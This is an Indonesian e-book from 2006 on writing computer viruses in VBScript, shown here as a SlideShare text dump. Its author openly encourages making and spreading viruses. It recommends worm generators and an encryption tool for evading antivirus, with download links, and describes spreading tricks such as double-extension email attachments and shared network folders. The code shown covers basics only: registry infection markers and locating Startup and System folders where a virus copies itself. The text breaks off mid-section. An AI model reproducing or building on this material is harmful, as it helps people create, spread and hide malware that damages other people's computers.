SlideShare a Scribd company logo
BO

Bimbingan
Orang Tua

Pemrograman Virus Menggunakan VBScript

Oleh :

Wahyu Primadi, S.Kom, S.Met

© 2006. Wahyu Utilities.
i
BO

Bimbingan
Orang Tua

Editorial
Pemrograman Virus Menggunakan VBScript
Copyright © 2006. Wahyu Utilities. All Rights Reserved.

No parts of this work may be reproduced in any form or by any
means (graphic, electronic, or mechanical, including photocopying,
recording, taping, or information storage and retrieval systems)
without the written permission of the publisher.
Products that are referred to in this document may be either
trademarks and/or registered trademarks of the respective owners.
The publisher and the author make no claim to these trademarks.
While every precaution has been taken in the preparation of this
document, the publisher and the author assume no responsibility for
errors or omissions, or for damages resulting from the use of
information contained in this document or from the use of programs
and source code that may accompany it. In no event shall the
publisher and the author be liable for any loss of profit or any other
commercial damage caused or alleged to have been caused directly
or indirectly by this document.
Printed: June 2006 in Wahyu Utilities Laboratory of Sickness.

Author :

Special Thanks To :

Wahyu Primadi, S.Kom, S.Met

Publisher :
Wahyu Utilities

Managing Editor :
Wahyu Primadi, S.Kom, S.Met

Technical Editor :
Wahyu Primadi, S.Kom, S.Met

Cover Designer :
Wahyu Primadi, S.Kom, S.Met

Bokin Gue [Lastrie, Amd], Komputer Gue
[Lisa], Almarhum Kucing Gue [Manis],
Kucing Gue [Orange], Semua TemenTemen Residivis di STMIK Proactive
Yogyakarta, Semua Temen-Temen di
STMIK Sinar Nusantara Surakarta, Semua
Temen-Temen di Bekasi, Semua TemenTemen di Yogyakarta, Semua TemenTemen di Surakarta – Solo, Semua
Temen-Temen yang Pernah Gue Infeksi
Komputernya,
Semua
Temen-Temen
Nongkrong, Semua Temen-Temen Coding,
dan Semua Mantan Cewek-Cewek Gue…

Website :
http://www.wahyuprimadi.com

Mobile Web :
http://mobile.wahyuprimadi.com

i
BO

Bimbingan
Orang Tua

Tentang Penulis
Wahyu

Primadi,

S.Kom,

S.Met,

adalah seorang anak muda yang bandel,
n’dablek

dan

penyayang

kucing.

Menamatkan kuliah komputer jurusan
Sistem Informasi pada bulan Februari
2005. Semasa kuliah sering terlibat
beberapa aksi massa dan organisasi radikal yang kerap menjadi
pihak oposisi dan sering melakukan perlawanan-perlawanan
pada suatu keadaan dan keputusan yang merugikan dan
menindas rakyat banyak. Sering meneriakan “KUDETA”.
Beberapa kali terlibat kasus yang berakhir di Polsek TangenSragen, Polwil Solo, Poltabes Yogyakarta, dan bahkan pernah
berakhir di Koramil Tambun-Bekasi ☺.

Berkenalan dengan dunia komputer sejak tahun 2000 dan
bahasa pemrograman yang dikuasai adalah ASP (Active Server
Pages), PHP, VBScript, Java Script, Gambas (Linux), BASH
Scripting (Linux), Microsoft Visual Basic 6.0, Microsoft
Visual Basic .NET dan database yang pernah saya gunakan
adalah Microsoft Access Database, MySQL, Microsoft SQL
Server 2000, dan Microsoft SQL Server Desktop Engine.

Saya dapat dikontak melalui e-mail di :
•

webmaster@wahyuprimadi.com

•

admin@wahyuprimadi.com

•

wprimadi@gmail.com

•

wprimadi@yahoo.com

•

wahyu@programmer.net

1
BO

Bimbingan
Orang Tua

Kata Pengantar
Puji syukur saya panjatkan kepada ALLAH SWT yang telah
memberikan kekuatan dan niat “jahat” dalam menyusun e-book
ini hingga bisa hadir dihadapan pembaca yang mempunyai
pemikiran “menyimpang”.

E-book ini ditulis sebagai referensi terhadap pengguna
komputer yang memang belum memahami apa itu virus dan
bagaimana cara membuatnya. Terlepas dari permasalahan
tersebut, pada dasarnya e-book ini dibuat untuk mereka yang
sudah mengerti akan bahasa pemrograman dan konsep
pemrograman khususnya bahasa Visual Basic atau VBScript.

Dengan e-book ini diharapkan dapat dijadikan solusi
pembelajaran dan pengetahuan buat mereka yang tadinya tidak
mengerti apa itu virus komputer dan cara membuatnya menjadi
mengerti, serta diharapkan dapat mengubah cara pandang serta
paradigma berfikir dalam menyikapi virus komputer tersebut
dan tidak lagi menjadikan virus komputer sebagai momok yang
menakutkan namun menjadikannya “mainan” serta bahan
pembelajaran.

Ok, selamat membaca, mencoba dan membuat serta sebarkan
“firman-firman” kalian dalam virus ke seluruh umat.

Solo, 13 Agustus 2006
Penulis

Wahyu Primadi, S.Kom, S.Met

2
BAB 1
Pengenalan VBScript dan Virus
Untuk dapat mengikuti dan memahami tutorial ini anda minimal sudah harus mengerti
bahasa Visual Basic (Visual Basic 6.0, VBScript, atau Visual Basic for Application) dan
memahami konsep pemrograman (dengan Visual Basic).

1.1

Pengertian VBScript
VBScript merupakan kepanjangan dari Visual Basic Script yang mana masih
merupakan bagian keluarga dari bahasa pemrograman Visual Basic. Lalu apakah
sebenarnya VBScript tersebut? Untuk menjawab pertanyaan tersebut ada baiknya
kita menyimak definisi dari VBScript menurut Microsoft berikut :
Microsoft® Visual Basic® Scripting Edition, a subset of the Microsoft® Visual
Basic® programming language, is a fast, portable, lightweight interpreter for use in
World Wide Web browsers and other applications that use Microsoft® ActiveX®
Controls, Automation servers, and Java applets.

Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script (scripting
language) yang dijalankan oleh sebuah interpreter. Windows Scripting Host (WSH
– wscript.exe) adalah salah satu program yang berperan sebagai interpreter dari
VBScript yang bertugas menjalankan dan mengeksekusi script-script VBScript.

Script VBScript dapat “ditempelkan” pada sebuah halaman web atau menjadi
sebuah file yang independent (berdiri sendiri) yang biasanya memiliki ekstensi file
*.VBS. Seperti telah dijelaskan diatas, Windows Scripting Host merupakan
interpreter VBScript yang menjalankan script-script VBScript yang disimpan pada
file *.VBS tadi. Jadi, tanpa Windows Scripting Host, VBScript tidak akan dapat
berjalan. Penjelasan mengenai Windows Scripting Host akan dibahas terpisah pada
sub-bab selanjutnya.

3
1.2

Mengapa VBScript ?
VBScript dipilih karena kemudahan pemahaman bahasanya dan tingkat
flaksibilitasnya yang tinggi diatas platform sistem operasi Microsoft Windows.
VBScript merupakan scripting language yang dapat dijalankan / dieksekusi secara
langsung tanpa perlu melakukan kompilasi.

Disamping itu semua, VBScript dapat memanfaatkan semua fasilitas, sumber daya,
komponen dan objek yang terdapat pada sistem operasi Microsoft Windows.
Walaupun VBScript merupakan sebuah script namun dalam penggunaannya
VBScript dapat disisipi dengan file binary seperti file executable (*.EXE) ataupun
file gambar. Masih ingat virus-virus seperti VBS.LoveLetter, VBS.Redlof,
VBS.AnnaKournikova dan lainnya, kesemua virus tersebut ditulis menggunakan
bahasa scripting VBScript.

1.3

Definisi Virus
Karena tidak adanya pendefinisian yang baku mengenai virus komputer, penulis
akan mengacu pada pendefinisian virus menurut Fred Cohen, seorang pakar virus
komputer yang mendefinisikan virus komputer sebagai berikut :

"A COMPUTER VIRUS is a computer program that can infect other computer
programs by modifying them in such a way as to include a (possibly evolved) copy
of itself. Note that a program does not have to perform outright damage (such as
deleting or corrupting files) in order to to be called a "virus". However, Cohen uses
the terms within his definition (e.g. "program" and "modify") a bit differently from
the way most anti-virus researchers use them, and classifies as viruses some things
which most of us would not consider viruses."

Dari definisi tersebut dapat dikatakan bahwa virus komputer adalah sebuah program
komputer yang memiliki kemampuan menggandakan diri, menginfeksi file atau
program lain dengan dirinya sendiri atau karakter byte acak (random), mengganggu

4
kinerja dari sebuah sistem komputer, kehadirannya tidak disadari dan yang jelas
tidak diinginkan ☺.

Dari penjelasan diatas, penulis harap anda dapat menggambarkan sendiri tentang
apakah virus tersebut. Karena pemahaman tentang virus tersebut adalah sebuah
modal dasar untuk mempelajari, memahami, membuat, memprogram, dan
mencegah virus untuk menginfeksi komputer anda.

1.4

Windows Scripting Host
Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter
dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default,
Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi
Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas.
Anda dapat memeriksa apakah Windows Scripting Host sudah terinstall pada sistem
Windows anda dengan cara mengetikan perintah “wscript.exe” pada dialogbox run
melalui menu “Start > Run”.

Gambar 1.1: DialogBox Run

Jika setelah mengetikan perintah “wscript.exe” tersebut tampil dialog setting
Windows Scripting Host (lihat gambar 1.2) maka Windows Scripting Host telah
terdapat dan terinstall pada Windows anda. Sebenarnya Windows Scripting Host
memiliki dua buah file inti yaitu wscript.exe dan cscript.exe, dimana wscript.exe
digunakan untuk mengeksekusi script VBScript pada lingkungan Windows,

5
sedangkan cscript.exe dapat digunakan untuk melakukan eksekusi script VBScript
pada lingkungan DOS.

Gambar 1.2: DialogBox Setting Windows Scripting Host

1.5

Peralatan yang Dibutuhkan
Untuk membuat program dengan VBScript yang dalam pembahasan ini adalah
pemrograman virus, VBScript tidak membutuhkan peralatan atau tools yang anehaneh atau rumit. Anda hanya perlu sebuah text editor, notepad pada windows
misalnya, untuk mulai menuliskan script-script VBScript anda.

Jika notepad dirasa kurang memenuhi kebutuhan anda, anda dapat menggunakan
sebuah editor yang memang dirancang khusus sebagai editor VBScript yaitu
Adersoft

VbsEdit

yang

dapat

di-download

melalui

http://www.adersoft.com/vbsedit. program tersebut merupakan program shareware
yang tidak gratis tapi crack-nya tersedia di internet. Fenomena penampakan dari
editor ini dapat anda lihat pada gambar 1.3 berikut :

6
Gambar 1.3: Program Adersoft VbsEdit

Selain itu juga terdapat beberapa tool program untuk menunjang pembuatan virus
menggunakan VBScript yang penulis sebut sebagai “Tools Dari Neraka” yang dapat
digunakan untuk membuat virus dengan menggunakan bahasa VBScript dan
menghindari deteksi scan antivirus, akan tetapi sabar dulu ya. Tools tersebut akan
dibahas pada bab berikutnya.

1.6

Script “Hello World”
Sebelum melangkah kepembahasan selanjutnya kita akan mencoba membuat
sebuah script program sederhana. Adapun script program yang akan kita buat
adalah sebuah program yang memunculkan MessageBox “Hello World” dan contoh
scriptnya adalah sebagai berikut :

Dim strPesan

strPesan = "Hello World"
MsgBox strPesan, VBInformation, "Percobaan"

Tulis script program tersebut dengan menggunakan editor text misalnya notepad
dan simpan hasilnya dengan ekstensi file *.VBS, pada contoh ini file script bernama
“hello-world.vbs” sehingga memiliki icon file bergambar seperti huruf “S” dengan
warna biru kehijau-hijauan seperti pada gambar berikut :
7
Gambar 1.4: Icon File VBS

Pada tahap ini program sudah selesai dan yang perlu anda lakukan adalah
menjalankan file script program tersebut. Untuk menjalankan script tersebut hanya
cukup melakukan klik ganda (double click) pada file script tersebut di Windows
Explorer dan hasilnya akan menampilkan sebuah MessageBox seperti terlihat pada
gambar berikut :

Gambar 1.5: MessageBox “Hello World”

1.7

Teknologi Antivirus
Memang tidak bisa dipungkiri lagi, kendala yang sering timbul dalam membuat
virus adalah antivirus yang selalu dapat mendeteksi kehadiran sebuah virus bahkan
mungkin virus yang belum dikenalnya (belum terdaftar di-database antivirus
tersebut) dengan menggunakan teknologi Heuristic Scanning dan belum lagi
teknologi Script Blocking serta teknologi SandBox yang saat ini mulai ramai
dibicarakan.

Hal tersebut merupakan hambatan terbesar yang sering terjadi dalam membuat
virus. Namun jangan patah semangat dulu, seperti telah penulis katakan
sebelumnya, keadaan ini dapat diakali dengan menggunakan tool-tool khusus yang
penulis sebut dengan “Tools Dari Neraka” yang akan dibahas pada bab berikutnya.

8
BAB 2
Terminologi Virus
Pada bab sebelumnya telah disinggung mengenai definisi virus secara garis besar dan
pada bab ini akan dibahas mengenai terminologi virus, jenis-jenis virus, teknik-teknik
virus dan teknologi yang biasa digunakan virus dalam melancarkan aksinya.

2.1

Bagaimana Virus Menyebar ?
Pada dasarnya virus dapat menyebar dan memasuki atau menginfeksi sistem kita
dengan berbagai cara, metode dan media. Adapun media-media yang sering
dimanfaatkan untuk penyebaran virus adalah :
•

Disket / Floppy Disk / CD / Flash Disk
Walaupun sekarang sudah jamannya internet (seperti kata Telkom : “Internet
mau datang… Pake sendal biar gak kesetrum”) namun masih banyak virus yang
berkeliaran (khususnya virus lokal, yang beredar di Indonesia) memanfaatkan
media ini terutama disket dan flash disk untuk menyebarkan dirinya sendiri dan
menginfeksi komputer lain.

•

Internet
Semenjak internet populer dan digunakan oleh banyak orang, banyak pula virus
yang memanfaatkan media internet untuk menyebarkan dirinya. Seperti pada
pokok pembahasan kita kali ini “Pemrograman Virus Menggunakan VBScript”,
karena VBScript dapat ditempelkan berdampingan dengan HTML maka tidak
menutup kemungkinan jika anda dapat terinfeksi ketika sedang browsing di
internet dan membuka halaman web. Bukannya saya nakut-nakutin, akan tetapi
sebuah kelompok security lokal pernah ada yang membuat Generator Virus
(berbasis HTML) VBScript untuk ditempelkan pada halaman web (HTML).

9
•

Email
Virus menyebar melalui email dengan memanfaatkan fasilitas attachment yang
terdapat pada email tersebut. Umumnya virus yang menyebar melalui email ini
bersifat executable (dapat dieksekusi langsung) seperti file *.EXE, *.COM,
*.VBS dan lainnya yang sejenis. Untuk mengelabuhi pengguna biasanya file
virus menggunakan nama file dengan ekstensi ganda seperti: “FotoCewek.jpg.exe”.

•

Network (Jaringan)
Seperti media lainnya, media jaringan pun tak luput dari target serangan virus.
Telah banyak pula virus yang memanfaatkan media jaringan dan umumnya
dengan media ini virus dapat dengan cepat “berkembang biak” pada setiap
komputer yang terhubung ke jaringan tersebut. Tekniknya adalah sebagai
berikut, virus menginfeksi satu komputer dalam sebuah jaringan dan membuat
folder pada komputer tersebut lalu meng-copy-kan dirinya kedalam folder
tersebut, kemudian virus akan mengeset folder tersebut sebagai folder share
yang dapat diakses dalam sebuah jaringan dengan nama folder yang
mengundang rasa penasaran orang untuk membukanya dan menjalankan file
virus didalamnya.

2.2

Jenis-Jenis Virus
Ada banyak sekali jenis virus yang beredar saat ini. Jenis-jenis virus ini dibedakan
berdasarkan atas karakteristik virus, tipe virus, metode infeksi yang digunakan,
ruang gerak virus, dan masih banyak lagi yang lainnya. Jenis-jenis virus tersebut
diantaranya adalah sebagai berikut :
•

System Sector Virus
System sector virus atau yang biasa disebut dengan nama boot sector virus atau
virus boot sector adalah sebuah virus yang menginfeksi DOS boot sector atau
Master Boot Record (MBR – juga dikenal dengan nama Partition Sectors).
Virus boot sector menginfeksi boot sector dengan cara menuliskan dirinya

10
sendiri atau berupa perintah yang mengarak ke dirinya sendiri ke boot sector
dari suatu disk (seperti harddisk dan disket) yang mana secara otomatis akan
diakses oleh sistem saat disk tersebut diakses.
•

Virus File
Virus ini biasanya berupa program executable dan biasanya juga akan
menginfeksi file-file executable seperti file-file dengan ekstensi *.EXE atau
*.COM dengan cara menuliskan dirinya sendiri pada bagian atas (header / BOF)
dari file yang akan diinfeksi, sehingga saat anda menjalankan file program
tersebut, virus akan berjalan lebih dulu dan setelah virus selesai menjalankan
aksinya barulah dia menjalankan program aslinya.

•

Macro Virus
Virus macro adalah sebuah virus yang berbentuk script visual basic yang
biasanya disebut dengan script Visual Basic for Application (VBA). Virus ini
menginfeksi dan “menempel” pada dokumen Microsoft Word, Microsoft Excel,
dan dokumen Microsoft Office lainnya.

Target utama dari serangan virus ini adalah menginfeksi file “Normal.dot”
yang merupakan file template untuk aplikasi Microsoft Word, baru setelah
tujuan tersebut tercapai selanjutnya dia akan menginfeksi dokumen-dokumen
yang dibuka pada melalui template “Normal.dot” tadi. Jadi untuk
menghentikan aksi virus jenis ini dapat dilakukan dengan cara menghapus file
“Normal.dot” yang ditemukan dan setelah itu jalankan aplikasi Microsoft Word
yang secara otomatis akan membuat file “Normal.dot” yang baru dan bersih.
Namun file-file dokumen lainnya yang telah terinfeksi akan tetap terinfeksi.
•

Companion Virus
Virus jenis ini dapat menginfeksi sebuah file *.EXE tanpa mengubah satu byte
pun pada file *.EXE tersebut. Kok bisa ??? mungkin anda bertanya-tanya
bagaimana caranya. Pada dasarnya virus ini hanya menumpang berjalan dengan

11
file *.EXE tersebut dengan cara membuat sebuah file *.COM dengan nama
yang sama dengan file *.EXE tersebut dan dalam folder yang sama pula.

Sebagai contoh, jika anda mempunyai sebuah file *.EXE bernama
“program.exe” maka virus tersebut akan membuat file dengan nama
“program.com” yang berada satu folder dengan file “program.exe” tersebut.
File “program.com” tersebut adalah virusnya.

Seperti diketahui bahwa DOS akan menjalankan file *.COM sebelum akhirnya
menjalankan file *.BAT lalu menjalankan file *.EXE dengan nama yang sama
yang berada dalam satu folder yang sama. Kira-kira begitu urutannya (itu juga
kalo saya tidak lupa ☺). Untuk menghapusnya tentu anda sudah tahu bukan? ya,
cukup hapus file *.COM yang memiliki nama yang sama dengan dengan file
*.EXE, namun hati-hati dalam menghapusnya karena belum tentu file *.COM
yang memiliki nama yang sama dengan file *.EXE adalah sebuah virus.
•

Visual Basic Worm
He… he… he… inilah target pembelajaran kita ☺. Virus jenis ini biasa disebut
dengan nama Visual Basic Worm atau Visual Basic Script Worm atau VBScript
Worm. Disebut demikian karena dibuat dengan menggunakan bahasa Visual
Basic Script (VBS) yang biasanya berupa source code / script (kode sumber /
kode program) walaupun sering juga ada yang dalam bentuk terenkripsi
(tersandi).

Seperti telah dijelaskan dalam bab sebelumnya, bahwa Visual Basic Script atau
VBScript dijalankan dengan bantuan Windows Scripting Host sebagai
interpreter-nya. Virus jenis inilah yang akan kita bahasa dan pelajari dalam ebook ini.

12
•

Polymorphic Virus
Polymorphic virus adalah sebuah virus yang memiliki kemampuan untuk
mengubah struktur dirinya sendiri setiap kali melakukan infeksi. Virus jenis ini
sulit sekali untuk dideteksi dengan menggunakan metode scanning biasa dan
metode checksum karena setiap copy dari virus akan tampak berbeda dari copy
lainnya.

•

Stealth Virus
Virus jenis ini dinamakan dengan nama pesawat tempur buatan amerika, yaitu
stealth. Virus ini dalam menjalankan aksinya akan mengambil alih fungsi-fungsi
sistem.

•

Multipartite Virus
Virus jenis ini merupakan gabungan dari virus file dan virus system sector (boot
sector). Virus ini dapat menginfeksi file dan dapat juga menginfeksi system
sector.

2.3

Tools Dari Neraka
Di internet terdapat banyak sekali tool-tool yang dapat membantu kita dalam
membuat dan mempelajari virus, terutama virus VBScript. Beberapa diantaranya
adalah :
•

VBSWG (Visual Basic Script Worm Generator)
Download URL
Download URL

: http://www.kvirii.com.ar

Ukuran File
•

: http://www.virii.com.ar

: ± 118 Kb

Kefi’s VBS Encryption Engine
Download URL

: http://vx.netlux.org/~kefi

Ukuran File

: ± 29 Kb

13
VBSWG merupakan sebuah Worm Generator yaitu sebuah program pembuat virus
(worm) VBScript. VBSWG dibuat dengan menggunakan Microsoft Visual Basic.
Karena dalam distribusinya tidak disertakan Microsoft Visual Basic RunTime
Library, maka anda perlu men-download file RunTime Visual Basic tersebut dari
http://www.microsoft.com atau dapat di-download juga dari website penulis di
http://www.wahyuprimadi.com/download/20012006214446_vb6rt.exe jika belum
memiliki.

Gambar 2.1: VBSWG (Visual Basic Script Worm Generator)

Sedangkan KVEE (Kefi’s VBS Encryption Engine) merupakan sebuah program
yang berguna untuk melakukan enkripsi (penyandian) script VBScript dengan
berbagai metode yang disediakan. Sampai saat tulisan ini ditulis (08 Juni 2006)
belum ada satu pun antivirus yang dapat mendeteksi virus VBScript yang dienkripsi
menggunakan KVEE. Program ini nantinya dapat digunakan sebagai salah satu
perlengkapan perang kita ☺.

14
Gambar 2.2: KVEE (Kefi’s VBS Encryption Engine)

Selain itu di internet masih banyak tersedia tool-tool yang berhubungan dengan
pembahasan kita kali ini. Namun untuk tool-tool yang lain tersebut anda harus
mencarinya sendiri di internet. Usaha dong… males banget sih…!!! ☺

2.4

PayLoad Virus
Payload virus disini dapat diartikan sebagai aksi yang akan dilakukan oleh virus.
Aksi tersebut dapat berupa aksi yang sederhana yaitu hanya menampilkan pesan
sampai aksi yang benar-berar parah dan merusak seperti menghapus file-file
dokumen pada komputer host.

Yang menentukan aksi dari virus tersebut tentunya adalah pembuatnya
(programmer-nya) dan biasanya aksi dari virus memiliki pemicu (trigger) untuk
menjalankan aksi tersebut saat pemicu tersebut terpicu (triggered). Pemicu tersebut
dapat berupa tanggal, waktu, event tertentu dan lain sebagainya. Contoh algoritma
penggunaan payload dan trigger yang sederhana adalah sebagai berikut, jika
tanggal sistem menunjukan tanggal satu maka tampilkan pesan dan setelah direspon
shutdown komputer.

15
BAB 3
Dasar Pemrograman Virus
Pada bab ini kita akan mulai melangkah ke inti permasalahan yaitu pemrograman virus
dengan menggunakan VBScript. Namun dalam bab ini baru akan dibahas dasar
pemrogramannya saja sedangkan untuk pemrograman virus tingkat lanjut akan dibahas
pada bab berikutnya. Seperti telah disebutkan sebelumnya, salah satu syarat untuk
memahami e-book ini adalah sudah mengerti bahasa pemrograman Visual Basic atau
VBScript. Jika anda belum mengerti bahasa tersebut belajar dulu baru mebaca bab ini ☺.

3.1

Metode yang Dimiliki Virus
Dalam setiap aksinya sebuah virus memiliki beberapa metode untuk melancarkan
setiap aksinya. Metode tersebut dapat berupa aksi untuk menggandakan diri, aksi
menyebar, aksi menulis ke registry, dan aksi-aksi yang lainnya.

Untuk dapat membuat virus yang sukses, sebagai programmer virus kita harus
benar-benar memperhitungkan apa yang akan dilakukan user. Maksudnya adalah
apa yang akan membuat user tertarik sehingga menjalankan virus kita dengan atau
tanpa sadar, apa yang akan dilakukan user ketika user tersebut sadar bahwa dia
terinfeksi, apa yang akan dilakukan user untuk menghapus virus dari sistemnya, dan
lain sebagainya.

Hal-hal seperti itulah yang perlu diperhatikan demi menjamin kelangsungan hidup
virus yang anda buat. Dengan memiliki pemikiran demikian diharapkan anda sudah
mempunyai tidakan pencegahan berupa sebuah algoritma dan logika yang tertanam
pada virus jika suatu ketika ada user yang sadar telah terinfeksi dan ingin
menghapus virus anda.

3.2

Baca Tulis Registry Windows
Membaca dan menulis ke sistem registry Windows merupakan hal yang sangat
penting dalam aktivitas virus saat menjalankan aksinya. Untuk itu sebelum

16
melangkah lebih jauh, terlebih dahulu akan diberikan contoh dan penjelasan tentang
bagaimana caranya membaca dan menulis ke registry Windows. Agar lebih mudah
berikut akan diberikan contoh programnya :

'Program Baca Tulis Registry
Dim Tanda
Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

'Baca Dari Registry
Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi")

'Tulis ke Registry
ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu"

Pada script diatas berisi contoh program bagaimana membaca dan menulis ke
registry Windows. Berikut akan diberikan penjelasan script tersebut diatas barisperbaris :
•

'Program Baca Tulis Registry

Baris kode tersebut merupakan sebuah komentar. Dimana sebuah komentar
diawali dengan tanda kutip tunggal (') dan komentar tersebut tidak akan
diproses oleh interpreter (gak ngaruh ke program).
•

Dim Tanda

Baris script tersebut merupakan deklarasi variabel dimana perintah “Dim”
merupakan perintah untuk pendeklarasian variabel dan perintah “Tanda” adalah
variabel yang ingin dideklarasikan.
•

Dim ObjReg

Sama, Merupakan perintah untuk pendeklarasian variabel. “ObjReg” adalah
variabel yang ingin dideklarasikan.

17
•

Set ObjReg = CreateObject("WScript.Shell")

Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “ObjReg”
sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah
“WScript.Shell”. Dengan demikian variabel “ObjReg” akan memiliki fungsifungsi shell Windows Scripting Host didalamnya yang dapat anda gunakan yang
pada contoh script diatas adalah baca dan tulis ke registry Windows (RegRead
dan RegWrite).
•

'Baca Dari Registry

Baris tersebut merupakan komentar, terserah anda mau tulis kata-kata apa (tetep
gak ngaruh). Ingat komentar selalu diawali dengan tanda KUTIP TUNGGAL
('). Jadi jika ada perintah yang diawali dengan tanda kutip tungga berarti
perintah tersebut merupakan sebuah komentar dan tidak akan diproses.
•

Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi")

Perintah tersebut berfungsi untuk mengisi variabel “Tanda” dengan value dari
registry yang dipilih (HKLMSoftwareVBS.TweetyInfeksi) yang telah ada
sebelumnya, dimana “HKLM” merupakan salah satu Key Root pada registry.
Jika value registry tersebut belum ada pada registry maka akan menyebabkan
runtime-error dan program berhenti.
•

'Tulis ke Registry

Ini juga merupakan komentar.
•

ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu"

Fungsi tersebut berfungsi untuk menuliskan nilai value ke registry Window
yang pada contoh tersebut akan menuliskan value berupa “Wahyu” pada key
“HKLMSoftwareVBS.TweetyProgrammer”. Dimana “HKLM” merupakan
salah satu Key Root registry.

18
Gambar 3.1: Registry Editor – Menulis ke Registry

Pada script diatas telah dijelaskan cara membaca dan menulis value pada registry,
namun yang belum dijelaskan adalah bahwa pada registry terdapat beberapa Root
Key dan pada contoh diatas hanya menggunakan satu Root Key yaitu HKLM
(HKEY_LOCAL_MACHINE). Berikut akan diberikan daftar Root Key yang
terdapat pada registry :
•

HKCR

:

HKEY_CLASSES_ROOT

•

HKCU

:

HKEY_CURRENT_USER

•

HKLM

:

HKEY_LOCAL_MACHINE

•

HKU

:

HKEY_USERS

•

HKCC

:

HKEY_CURRENT_CONFIG

Gambar 3.2: Daftar Root Key pada Registry

Untuk penulisannya, anda dapat menuliskan singkatannya (misal: HKLM) atau
kepanjangannya (misal: HKEY_LOCAL_MACHINE). Namun untuk dua Root Key

19
terakhir terkadang anda harus menuliskan kepanjangannya karena biasanya akan
menyebabkan runtime-error pada program yang disebabkan sistem tidak mengenali
singkatan tersebut.

PERHATIAN…!!!
Bermain-main dengan registry rentan dengan bahaya. Sebelum mulai bermain
dengan registry usahakan untuk mem-backup registry Windows anda agar jika
terjadi sesuatu hal yang tidak diinginkan anda dapat me-restore-nya kembali.
Karena jika terjadi kesalahan dapat menyebabkan sistem Windows menjadi error
atau bahkan tidak dapat berjalan sama sekali…!!!

3.3

Mendapatkan Special Folder
Dalam pemrograman virus dengan VBScript fungsi Special Folder sering kali
digunakan. Kegunaan dari fungsi ini adalah untuk mendapatkan folder-folder
system Windows, seperti folder Windows, folder WindowsSystem, dan folder
WindowsTemp. Fungsi tersebut sering digunakan untuk melakukan peng-copy-an
atau pembuatan back-up file virus ke folder-folder system tersebut. Berikut adalah
contoh penggunaannya :

Dim Target
Dim FSO
Dim FolderLain

Set FSO = CreateObject("Scripting.FileSystemObject")
Set FolderLain = CreateObject("WScript.Shell")

'Windows Folder :
Target = FSO.GetSpecialFolder(0)

'Windows System Folder :
Target = FSO.GetSpecialFolder(1)

'Windows Temp Folder :
Target = FSO.GetSpecialFolder(2)

20
'Folder Desktop
Target = FolderLain.SpecialFolders("Desktop")

'Folder All Users Start Menu
Target = FolderLain.SpecialFolders("AllUsersStartMenu")

'Folder Start Menu Programs
Target = FolderLain.SpecialFolders("Programs")

'Folder My Documents
Target = FolderLain.SpecialFolders("MyDocuments")

'Folder StartUp Start Menu
Target = FolderLain.SpecialFolders("Startup")

'Folder All Users Programs Start Menu
Target = FolderLain.SpecialFolders("AllUsersPrograms")

'Folder All Users StartUp Start Menu
Target = FolderLain.SpecialFolders("AllUsersStartup")

'Folder Favorites
Target = FolderLain.SpecialFolders("Favorites")

'Folder AppData
Target = FolderLain.SpecialFolders("AppData")

'Folder Recent
Target = FolderLain.SpecialFolders("Recent")

'Alamat Path Script :
Target = WScript.ScriptFullName

Dimana penjelasan dari script tersebut adalah sebagai berikut :

21
•

Dim Target

Baris script tersebut merupakan deklarasi variabel dimana variabel yang
dideklarasikan bernama “Target”.
•

Dim FSO

Sama seperti baris sebelumnya, baris ini juga merupakan deklarasi variabel dan
variabel yang dideklarasikan bernama “FSO”.
•

Dim FolderLain

Juga sama seperti baris sebelumnya, baris ini merupakan deklarasi variabel dan
variabel yang dideklarasikan bernama “FolderLain”.
•

Set FSO = CreateObject("Scripting.FileSystemObject")

Pada baris ini variabel “FSO” yang telah dideklarasikan sebelumnya diset atau
diisi sebagai objek “Scripting.FileSystemObject”.
•

Set FolderLain = CreateObject("WScript.Shell")

Pada beris ini variabel “FolderLain” yang telah dideklarasikan sebelumnya diset
atau diisi sebagai objek “WScript.Shell”.
•

Target = FSO.GetSpecialFolder(0)

Baris ini mengisi variabel “Target” (yang sebelumnya telah dideklarasikan pada
baris pertama) dengan sebuah value berupa alamat path folder Windows.
Penulis menggunakan sistem operasi Microsoft Windows XP SP2 dan
menginstalnya ke folder “C:Windows”, sehingga jika script tersebut dijalankan
pada komputer penulis maka variabel “Target” akan berisi “C:Windows”.
•

Target = FSO.GetSpecialFolder(1)

Sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan
alamat path dari folde system Windows. Jika script tersebut dijalankan pada
komputer penulis maka variabel “Target” akan berisi “C:Windowssystem32”.
•

Target = FSO.GetSpecialFolder(2)

Masih sama seperti baris sebelumnya, hanya saja perintah ini akan
menghasilkan alamat path dari folder temp Windows. Jika script tersebut
dijalankan pada komputer penulis maka variabel “Target” akan berisi
“C:DOCUME~1WAHYUP~1LOCALS~1Temp” yang merupakan short

22
filename

dari

“C:Documents

and

SettingsWahyu

PrimadiLocal

SettingsTemp”.
•

Target = FolderLain.SpecialFolders("Desktop")

Perintah pada baris ini akan menghasilkan alamat path folder “Desktop”. Jika
script tersebut dijalankan variabel “Target” akan berisi alamat path folder
“Desktop”.
•

Target = FolderLain.SpecialFolders("AllUsersStartMenu")

Perintah pada baris ini akan menghasilkan alamat path folder “Start Menu”
untuk seluruh user (All Users).
•

Target = FolderLain.SpecialFolders("Programs")

Baris perintah ini akan menghasilkan alamat path folder “Programs” pada Start
Menu untuk user yang sedang aktif (Current User).
•

Target = FolderLain.SpecialFolders("MyDocuments")

Baris perintah ini akan menghasilkan alamat path folder “My Documents” dari
user yang sedang aktif (Current User).
•

Target = FolderLain.SpecialFolders("Startup")

Perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu
dari user yang sedang aktif (Current User).
•

